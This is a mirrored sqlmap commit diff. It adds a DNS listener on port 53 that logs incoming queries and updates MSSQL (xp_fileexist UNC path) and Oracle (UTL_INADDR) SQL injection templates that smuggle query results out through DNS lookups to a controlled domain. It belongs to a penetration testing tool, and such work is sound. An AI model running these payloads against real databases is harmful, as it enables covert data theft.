mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-06-05 21:53:11 +03:00
more minor updates regarding data retrieval through DNS channel
This commit is contained in:
parent
9199ce5054
commit
769b0d0ae7
|
@ -7,6 +7,9 @@ Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
|
||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import threading
|
||||||
|
|
||||||
class DNSQuery:
|
class DNSQuery:
|
||||||
"""
|
"""
|
||||||
Used for making fake DNS resolution responses based on received
|
Used for making fake DNS resolution responses based on received
|
||||||
|
@ -42,3 +45,24 @@ class DNSQuery:
|
||||||
retval += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP
|
retval += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP
|
||||||
|
|
||||||
return retval
|
return retval
|
||||||
|
|
||||||
|
class DNSServer:
|
||||||
|
def __init__(self):
|
||||||
|
self._requests = []
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
def _():
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
s.bind(("", 53))
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
data, addr = s.recvfrom(1024)
|
||||||
|
_ = DNSQuery(data)
|
||||||
|
s.sendto(_.response("127.0.0.1"), addr)
|
||||||
|
self._requests.append(_._query)
|
||||||
|
finally:
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
thread = threading.Thread(target=_)
|
||||||
|
thread.start()
|
|
@ -1,3 +1,3 @@
|
||||||
DECLARE @host varchar(1024);
|
DECLARE @host varchar(1024);
|
||||||
SELECT @host = (%QUERY%) + '.%DOMAIN%';
|
SELECT @host = '%PREFIX%' + (%QUERY%) + '%SUFFIX%' + '.%DOMAIN%';
|
||||||
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');
|
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');
|
||||||
|
|
|
@ -1 +1 @@
|
||||||
SELECT UTL_INADDR.GET_HOST_ADDRESS((%QUERY%)||%DOMAIN%) FROM DUAL
|
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%'||(%QUERY%)||'%SUFFIX%'||'.%DOMAIN%') FROM DUAL
|
||||||
|
|
Loading…
Reference in New Issue
Block a user